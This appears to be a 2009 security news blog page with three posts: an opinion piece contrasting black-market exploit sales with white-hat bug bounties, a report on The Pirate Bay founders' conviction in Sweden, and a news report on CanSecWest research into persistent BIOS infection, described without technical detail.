Selling exploits is a money-making opportunity like never before, especially if you're a black hat. A hacker that doesn't care who gets his exploit can sell a decent vulnerability finding for a widely distributed software program for $5,000 or more. Prices on the black market are hard to find, but I've seen offers for up to $100,000 for a remote buffer overflow exploit against Windows Server 2003. Considering that multiple crimeware syndicates are making tens of millions of dollars, or more, a price of tens of thousands of dollars for a well-coded exploit is pretty cheap in the grand scheme of things.

Even in the white hat world, many legitimate parties are paying for bugs and exploits. First, many vendors (including my full-time employer, Microsoft) pay millions to internal and external bug finders, although they are almost always (if not always) contracted before the bugs are found. CanSecWest and other hacking contests pay for new zero-day vulnerabilities. Several other organizations, like the Zero Day Initiative, pay for new vulnerability findings. They make their money on the back end by selling protection products to their clients. Lastly, it's a poorly kept secret that our government has huge teams of people working on finding exploits for offense and defense purposes. There have even been attempts at open-air vulnerability auctions.

Black and white

The sad fact is that a found exploit doesn't earn the white hat hacker nearly as much money as the same exploit would bring in the black hat market. That's because white hat hacking is about fixing the product and protecting people, while black hat hacking is about separating people from their money. A friend of mine at a large software company did an analysis of the company's spending for internal and externally hired vulnerability finders, and he said the money paid often worked out to less than $25 per found bug. It's hard for any legitimate hacker to make a decent living at those wages.

But they do. I guess that's it in a nutshell. There are lots of ways to make money in this world. My computer books would sell a lot more if they contained porn, or I could supplement my income with tax-free money by selling illegal drugs, but I've got to be able to look at myself in the mirror in the morning and be proud of what I'm doing. I get paid to hack, but I've never done it without permission or with ill will toward anyone. Whatever personality trait takes to be involved with something malicious, it's missing from my DNA.

Many companies make a decent if not robust living finding bugs for vendors. Maybe they aren't making $5,000 or more per bug, but they've built successful -- sometimes highly successful -- businesses doing it the right way. They've become industry names and created individual stars. Their owners have grown the company, created long-term careers for their employees, and are able to hold their heads up high without a moment of second-guessing.

For every infamous black hat hacker, I can name two infamous white hat hackers and their companies -- names such as @Stake, ZDI, iDefense, David Litchfield, Foundstone, Dave Aitel, Immunity, and so many more.

Charlie and other "No More Free Bugs" advocates deserve to make a living doing what they do best. But I hope they consider the types of people and companies they will be selling their bugs to. We need them to assure us that they are on our side every time.

Pirate Bay Team Sentenced to Jail

A Swedish court has found the four men behind file-sharing site The Pirate Bay guilty of infringing copyright law, sentencing them to a year each in jail and ordering them to pay £3 million ($4.5 million) in damages to 17 entertainment companies including Warner Bros (TWI), Sony Music Entertainment (SNE), EMI and Columbia Pictures. The media companies had been seeking $17.5 million.

Despite the verdict, The Pirate Bay remains open for business — that is, the non-commercial business of pointing users to content, but not hosting it, which its lawyers contend is legal. Though entertainment companies are cheering the victory, it doesn’t seem like it will have any direct effect on the more than 20 million people who use The Pirate Bay.

The folks behind The Pirate Bay — founders Gottfrid Svartholm Warg and Fredrik Neij, spokesman and programmer Peter Lunde, and funder Carl Lundström — were hardly stony-faced about being convicted, and said they would appeal and don’t plan to pay the fine. Here’s an archive video of this morning’s exceedingly casual press conference, and The Pirate Bay’s Peter Sunde as quoted by the BBC:

“It’s so bizarre that we were convicted at all and it’s even more bizarre that we were [convicted] as a team. The court said we were organised. I can’t get Gottfrid out of bed in the morning. If you’re going to convict us, convict us of disorganised crime.

“We can’t pay and we wouldn’t pay. Even if I had the money I would rather burn everything I owned, and I wouldn’t even give them the ashes.”

For background on the proceedings, see our pieces The Definitive Primer to the Pirate Bay Trial and So What’s Really Going on With That Pirate Bay Trial?.

source: CNN

Wednesday, March 25, 2009

Researchers unveil persistent BIOS attack methods

Apply all of the browser, application and OS patches you want, your machine still can be completely and silently compromised at the lowest level--without the use of any vulnerability.

That was the rather sobering message delivered by a pair of security researchers from Core Security Technologies in a talk at the CanSecWest conference on methods for infecting the BIOS with persistent code that will survive reboots and reflashing attempts. Anibal Sacco and Alfredo Ortega (above) demonstrated a method for patching the BIOS with a small bit of code that gave them conplete control of the machine. And the best part is, the method worked on a Windows machine, a PC running OpenBSD and another running VMware Player.

"It was very easy. We can put the code wherever we want," said Ortega. "We're not using a vulnerability in any way. I'm not sure if you understand the impact of this. We can reinfect the BIOS every time it reboots."

Sacco and Ortega stressed that in order to execute the attacks, you need either root privileges or physical access to the machine in question, which limits the scope. But the methods are deadly effective and the pair are currently working on a BIOS rootkit to implement the attack.

"We can patch a driver to drop a fully working rootkit. We even have a little code that can remove or disable antivirus," Ortega said.

The work by the Core team follows on to research done on persistent rootkits by John Heasman of NGSS, who was able to devise a method for placing rootkits on PCs using the memory space on PCI cards. In a presentation at Black Hat DC in 2007, Heasman showed a completely working method for loading the malware on to a PCI card by using the flashable ROM on the device. He also had a way to bypass the Windows NT kernel and create fake stack pointers.

In an interview at the time, he told me: "At that point it's game over. We're executing 32-bit code in ring zero."

As application and operating system protection mechanisms continue to become more sophisticated and more difficult to evade, expect to see more and more attacks targeting the hardware and low-level software, where there are still opportunities for success.

source: threatpost blogs